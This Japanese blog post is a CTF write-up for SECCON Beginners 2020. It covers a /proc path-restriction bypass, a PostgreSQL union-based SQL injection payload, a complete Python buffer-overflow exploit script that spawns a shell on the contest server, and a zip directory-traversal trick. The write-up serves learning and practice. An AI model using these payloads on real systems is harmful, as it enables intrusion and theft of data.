こんにちは.福岡では緊急事態宣言は解除されましたが授業もアルバイト,ゼミもリモートのため相変わらず外出しない生活を送っています.

# ctf4b

ctf4bに大学の研究室のメンバーで参加してきました.昨年は全く手が出ませんでしたが今年は結構楽しくCTFができました.(解けたとは言ってない.) 得意分野と言える分野もないので雑食でいろいろな分野を覗いてました. 僕はreadme,beginner's stack,tweetstoreをときました.また,時間内にフラグは得られませんでしたが終了後に気づいたunzipも記載します. (その他の問題も解けたら追記しようかな) では,

https://www.seccon.jp/2019/seccon_beginners/seccon_beginners_ctf_2020_5_23_1400.html (opens new window)

# 追記

pwnのelementary stack (opens new window)についてポストしました.

# readme

Miscの問題です.問題サーバで動いているコードが配布されます.

#!/usr/bin/env python3
import os
assert os.path.isfile('/home/ctf/flag') # readme
if __name__ == '__main__':
    path = input("File: ")
    if not os.path.exists(path):
        exit("[-] File not found")
    if not os.path.isfile(path):
        exit("[-] Not a file")
    if '/' != path[0]:
        exit("[-] Use absolute path")
    if 'ctf' in path:
        exit("[-] Path not allowed")
    try:
        print(open(path, 'r').read())
    except:
        exit("[-] Permission denied")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

ncコマンドでサーバに接続するとFile:と出てきてパスを入力します./home/ctf/flagを開くことができればフラグが得られそうです. しかし.入力文字列にはいくつかの制限があります.

  • 指定したパスが存在する
  • 指定したパスがファイルである
  • 指定したパスが絶対パスである
  • 指定されたパスにctfという文字列が存在しない
  • 指定したファイルが開ける

条件は以上です. ctfが許されないので/home/ctf/flagは当然の如く失敗します. ctfという文字列を使用せずにどの様にしてパスを取得するかがポイントです. 現在のプロセスが動いているカレントディレクトリを取得することができれば良さげです. そこで登場するのが/procです. /procファイルシステムは特殊なディレクトリでシステムの情報や動作しているプロセスの情報を取得することができます. あるプロセスに関する情報が欲しい場合は/proc/[pid]を参照します.自身のプロセスの情報を得たい場合は/proc/selfです. /procは面白いのでぜひいろいろ覗いてみてください. さて,/proc/self/cwdがプロセス自身のカレントディレクトリへのシンボリックリンクとなっています.が,ここで/proc/self/cwdを入れてもファイルじゃないのでダメです.そこで,/proc/self/environを入力してみます.すると環境変数がいっぱい出てきます.その中にPWD=/home/ctf/serverが見つかりました. このプロセスは/home/ctf/serverで動いてそうですね.

なので/proc/self/cwd/../flagと入力するとフラグを得ることができました.

# Tweetstore

WebのSQLインジェクションの問題です.Go言語で書かれたサーバのコードが配布されました.データベースにツイートが保存されています.search wordに指定したワードに関連したツイートをlimitで指定した数まで表示させることができます. データベース関連のコードは以下の様になっていました.

func initialize() {
	var err error
	dbname := "ctf"
	dbuser := os.Getenv("FLAG")
	dbpass := "password"
	connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
	db, err = sql.Open("postgres", connInfo)
	if err != nil {
		log.Fatal(err)
	}
}
1
2
3
4
5
6
7
8
9
10
11
12
13

使用しているDBはpostgres sqlですね. この関数でデータベースへの接続の処理を行っています.dbuserに環境変数からFLAGの値を読み出してそれをユーザー名としてログインしている様です. なのでDBのユーザー名がわかればいいということになります. では次はクエリを組み立てる部分.

type Tweets struct {
	Url        string
	Text       string
	Tweeted_at time.Time
}
func handler_index(w http.ResponseWriter, r *http.Request) {
	tmpl, err := template.ParseFiles(tmplPath + "index.html")
	if err != nil {
		log.Fatal(err)
	}
	var sql = "select url, text, tweeted_at from tweets"
	search, ok := r.URL.Query()["search"]
	if ok {
		sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
	}
	sql += " order by tweeted_at desc"
	limit, ok := r.URL.Query()["limit"]
	if ok && (limit[0] != "") {
		sql += " limit " + strings.Split(limit[0], ";")[0]
	}
	// select url, text, tweeted_at from tweets where text like ctf4b(decoded) order by tweeted_at desc limit 10--
	// select schemaname, tablename, tableowner from pg_tables
	var data []Tweets
	ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
	defer cancel()
	rows, err := db.QueryContext(ctx, sql)
	if err != nil{
		http.Error(w, http.StatusText(500), 500)
		return
	}
	for rows.Next() {
		var text string
		var url string
		var tweeted_at time.Time
		err := rows.Scan(&url, &text, &tweeted_at)
		if err != nil {
			http.Error(w, http.StatusText(500), 500)
			return
		}
		data = append(data, Tweets{url, text, tweeted_at})
	}
	tmpl.Execute(w, data)
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

こちらでクエリを組み立てています.search wordとして入力された値の中の'\'として出力する様に処理されていて,limitとして入力された値では;が入らない様になっています.

試しにseach word'--を入力してみるとInternal Server Errorを返しました.500を返す場所は二箇所ありますが,とりあえず単純なインジェクションではダメそうです.

さて,Postgres SQLでユーザ情報を取得するにはどの様なクエリを投げれば良いでしょうか.ユーザに関する情報はpg_userというテーブルに保存されています. pg_userの構造を見てみましょう.以下を参照ください. pg_user (opens new window) というわけでユーザ名はusenameとして参照できそうですね.

ではインジェクションするクエリを組み立てます.

var sql = "select url, text, tweeted_at from tweets"
1

この部分から,3つ列を取り出しており,text, text, 'timestamp'型のようです.というわけでpg_userからusenameを含む何かしらの3つの列を取り出して結合すれば良さげです. 最初はlimitの後に10 union select usename,usename,null from pg_user;をつなげればいいと思っていましたが,limit句の後にunionはつなげられないらしく,つなげる場合,

(select url, text, tweeted_at from tweets where text like '%[:search word]%' order by tweeted_at desc limit 10) union (select usename, usename, null from pg_user) 
1

みたいに()を付けないといけないらしく,無理そうだということでした.

さてそれではどうするか,limitはダメそうなのでやはりsearch wordでクエリを組み立てる必要がありそうです. 'が入らなそうなのでどうしようかと思っていましたが,\'になるだけなので実はいけるのではと思い手元にPostgre環境を立てて実行してみたところ実行できました. というわけで実はsearch wordでインジェクションのクエリが組み立てられそうです.というわけで次のようなクエリを組み立てました.

select url, text, tweeted_at from tweets where text like '%hoge\' union select usename, usename, null from pg_user;-- %' order by tweeted_at desc limit 10;
1

これは;--より後ろがコメントとして無視されるので実際に実行されるのは以下のようになります.

select url, text, tweeted_at from tweets where text like '%hoge\' union select usename, usename, null from pg_user;
1

これで行けると思いましたが,500になってしまいました. 手元の環境で実行できているのに500になるので他の原因がありそうです. そういえば500になるのはもう一箇所ありました. ここですね.

err := rows.Scan(&url, &text, &tweeted_at)
		if err != nil {
			http.Error(w, http.StatusText(500), 500)
			return
		}
1
2
3
4
5

どうしてエラーになるのかと眺めていたところ,rows.Scan()はクエリの実行結果にnullが入っているとエラーを返すことに気付きました. こちら (opens new window)を参照してください. つまり,先ほどのクエリではnullを返しているのでダメということですね. というわけで最終的に組み立てたのは以下のようなクエリです.

select url, text, tweeted_at from tweets where text like '%hoge\' union select usename, usename, current_timestamp from pg_user;
1

先ほどnullだった部分をcurrent_timestampに変更して現在時刻を取得するようにするとフラグを得ることができました.

# Beginner's Stack

Pwnのスタックバッファオーバーフローの問題です.実行ファイルが配布されます. 問題サーバに接続すると以下のように表示されます. winを呼び出せばsystem('/bin/sh')が実行されるようですが,mainをディスアセンブルしてもwinを呼び出している箇所はありません. というわけでどこかの関数のリターンアドレスを書き換えてwinに飛ばせれば良さそうです.

 9001
Your goal is to call `win` function (located at 0x400861)
   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffcfd4212b0 | 0x0000000000000000 | <-- buf
                   +--------------------+
0x00007ffcfd4212b8 | 0x0000000000000000 |
                   +--------------------+
0x00007ffcfd4212c0 | 0x0000000000000000 |
                   +--------------------+
0x00007ffcfd4212c8 | 0x00007f9ada20d170 |
                   +--------------------+
0x00007ffcfd4212d0 | 0x00007ffcfd4212e0 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffcfd4212d8 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffcfd4212e0 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffcfd4212e8 | 0x00007f9ad9c14b97 | <-- return address (main)
                   +--------------------+
0x00007ffcfd4212f0 | 0x0000000000000001 |
                   +--------------------+
0x00007ffcfd4212f8 | 0x00007ffcfd4213c8 |
                   +--------------------+
Input:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

親切にスタックの状況を表示してくれます.何かしらの入力を与えると入力した内容がスタックに格納されてもう一度表示されます. 試しにaaaをいくつか入力します.すると,

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffcfd4212b0 | 0x6161616161616161 | <-- buf
                   +--------------------+
0x00007ffcfd4212b8 | 0x0000000a61616161 |
                   +--------------------+
0x00007ffcfd4212c0 | 0x0000000000000000 |
                   +--------------------+
0x00007ffcfd4212c8 | 0x00007f9ada20d170 |
                   +--------------------+
0x00007ffcfd4212d0 | 0x00007ffcfd4212e0 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffcfd4212d8 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffcfd4212e0 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffcfd4212e8 | 0x00007f9ad9c14b97 | <-- return address (main)
                   +--------------------+
0x00007ffcfd4212f0 | 0x0000000000000001 |
                   +--------------------+
0x00007ffcfd4212f8 | 0x00007ffcfd4213c8 |
                   +--------------------+
Bye!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

こんな感じにスタックの状況が変化します.もっと多くのaを入力すると,

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffea45ceb70 | 0x6161616161616161 | <-- buf
                   +--------------------+
0x00007ffea45ceb78 | 0x6161616161616161 |
                   +--------------------+
0x00007ffea45ceb80 | 0x6161616161616161 |
                   +--------------------+
0x00007ffea45ceb88 | 0x6161616161616161 |
                   +--------------------+
0x00007ffea45ceb90 | 0x6161616161616161 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffea45ceb98 | 0x6161616161616161 | <-- return address (vuln)
                   +--------------------+
0x00007ffea45ceba0 | 0x6161616161616161 | <-- saved rbp (main)
                   +--------------------+
0x00007ffea45ceba8 | 0x00007f0a61616161 | <-- return address (main)
                   +--------------------+
0x00007ffea45cebb0 | 0x0000000000000001 |
                   +--------------------+
0x00007ffea45cebb8 | 0x00007ffea45cec88 |
                   +--------------------+
/home/pwn/redir.sh: line 2: 23776 Segmentation fault      ./chall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

スタックがオーバーフローしてセグフォで落ちました. というわけでスタックバッファオーバーフローでvulnのリターンアドレスをwinのアドレスに書き換えます. ペイロードはこのように組み立てました.

payload = b'a' * 32
payload += (0x7fff6858b810).to_bytes(8, 'little') # '\x10\xb8\x58\x68\xff\x7f\x00\x00'
payload += (0x400861).to_bytes(8, 'little') # '\x61\x08\x40\x00' + '\x00' * 4
payload += b'\n
1
2
3
4

vulnのrbpの値は適当に値を入れていますが,40バイト目以降にwinのアドレスを書き込んでいます. これで実行すると,スタックの内容が書きかわり,以下のようなメッセージが出力されました.

Oops! RSP is misaligned! Some functions such as system use movaps instructions in libc-2.27 and later. This instruction fails when RSP is not a multiple of 0x10. Find a way to align RSP! You're almost there!

systemを呼び出すためにはRSPの値が0x10の倍数でないといけないようです.はて?という感じでしたが,とにかくRSPを揃えるには関数を呼び出す時と終了する際に何かしら手を加える必要がありそうです. ここで,winのアドレスに飛ばす前に一度retを噛ませてrspを揃えてみます. 組み立てたペイロードは以下のような感じ.

payload = b'a' * 32
payload += (0x7fff6858b810).to_bytes(8, 'little') # '\x10\xb8\x58\x68\xff\x7f\x00\x00'
payload += (0x4007f0).to_bytes(8, 'little') # '\xf0\x07\x40\x00\x00\x00\x00\x00'
payload += (0x400861).to_bytes(8, 'little') # '\x61\x08\x40\x00' + '\x00' * 4
payload += b'\n'
1
2
3
4
5

winのアドレスに飛ぶ前に'vuln'から復帰する時に呼び出されるretのアドレスに一度飛ばします.そうすると,retはスタックをpopしてそのアドレスに飛ぶので,その時点でのスタックの一番上であるretのアドレスの直後にwinのアドレスを書き込みます. こうすることでRSPが揃った状態でsystemを呼び出すことができるようになります. exploitコードの全体は以下.

import socket, time, telnetlib
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('bs.quals.beginners.seccon.jp', 9001))
time.sleep(1)
print(s.recv(2048).decode())
payload = b'a' * 32
payload += (0x7fff6858b810).to_bytes(8, 'little') # '\x10\xb8\x58\x68\xff\x7f\x00\x00'
payload += (0x4007f0).to_bytes(8, 'little') # '\xf0\x07\x40\x00\x00\x00\x00\x00'
payload += (0x400861).to_bytes(8, 'little') # '\x61\x08\x40\x00' + '\x00' * 4
payload += b'\n'
print("payload: ", payload)
s.sendall(payload)
time.sleep(1)
print(s.recv(4096).decode())
t = telnetlib.Telnet()
t.sock = s
t.interact()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

実行すると,これまでと同様にスタックの内容が表示された後Congratulations!が表示されシェルをとることができました.

Congratulations!
ls
chall
flag.txt
redir.sh
1
2
3
4
5
6

あとはls,cat flag.txtでフラグが得られました. 余談ですが,僕はMacの方はpythonpython3が実行されるようにエイリアスしているのですが,解析に使用したVMではpythonコマンドを叩くと実行されるのはpython3なんです.VMではローカルで実行しながら解析してpython2でペイロード流していたんですが,ncでリモートに繋ぐ時はMacのターミナルからしていたのでpythonのバージョンが違っているままリモートに実行してしまいエクスプロイトが通りませんでした.すごいありがちなミスですがこれに気づくのに結構時間潰したのでpythonのバージョンには皆さんも気をつけてください.(戒め)

# unzip

Web問のディレクトリトラバーサルの問題です.phpで書かれたファイルとdocker-compose.ymlは配布されました. この問題は時間内にフラグを得ることができませんでしたが,終了後に再度チャレンジしてフラグをとることができました.(点数欲しかった) さて指定されたURLにアクセスするとzipファイルを解凍してくれるサービスが動いていました. zipファイルをアップロードすると解凍され,解凍後のファイルの中身を参照することができます. 脆弱なコードは以下.

$user_dir = "/uploads/" . session_id();
// return file if filename parameter is passed
if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) {
    if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) {
        $filepath = $user_dir . "/" . $_GET["filename"];
        header("Content-Type: text/plain");
        echo file_get_contents($filepath);
        die();
    } else {
        echo "no such file";
        die();
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14

もしこれまでアップロードされ,解凍されたファイルの名前とリクエストされたファイルの名前が一致している場合,$filepathとして$user_dir/filenameというふうに結合します.$user_dir$user_dir = "/uploads/" . session_id();という感じで生成されています. 入力されたパスの値をバリデーションしていないので,../のような入力がそのまま通ってしまいます.これを利用してフラグを読み出します. ここでdocker-compose.ymlをみてみると以下のような記述があります.

    volumes:
      - ./public:/var/www/web
      - ./uploads:/uploads
      - ./flag.txt:/flag.tx
1
2
3
4

フラグのファイルは/flag.txtに配置されていて,アップロードされたファイルは/uploads/[session id]/filenameに保存されている感じです. つまり,filenameとして../../../flag.txtという文字列を与えることができれば目的のパスにアクセスできます. ここで僕はどのようにして../../../flag.txtというファイルを生成するか悩んでいました.base64でエンコードしたファイルを渡したりエスケープされた状態のファイル名で渡してみたりしましたがどうもうまくいきません. 本番はここでタイムアップとなりました. その後,ダメもとで

$ zip hoge ../../../flag.txt
1

を実行してみると,

zip warning: name not matched: ../../../flag.txt
zip error: Nothing to do! (hoge.zip)
1
2
3

ん?できそう??? エラーの内容がファイルないよっていうエラーなのでもしやと思い

touch ../../../flag.txt
1

で作成して,もう一度実行してみると...

$ zip hoge ../../../flag.txt
  adding: ../../../flag.txt (stored 0%)
1
2

あらできてしまいました. これをアップロードしてアクセスするとフラグが得られてしまいました.

時間内に気づけばよかった...

# まとめ

とりあえずわかっている問題はこんな感じでした.CTFは結構ブランクを開けて(元々全然できません)最近Pwnに入門したところでした.他にもheap問に取り組んだりしていたのですが,自分でフラグを通すことはできませんでした.それでも昨年参加した際は何もできなかったので今回は何問か解くことができてよかったです.CTF楽しかったのでこれからもう少しCTFに入門してみようかなと思います. 弊研究室チームは79位でした.対戦してくださった皆さんありがとうございました. 1000チーム以上の参加がある中大きな問題なく実施してくださった運営の方々に感謝します.ありがとうございました.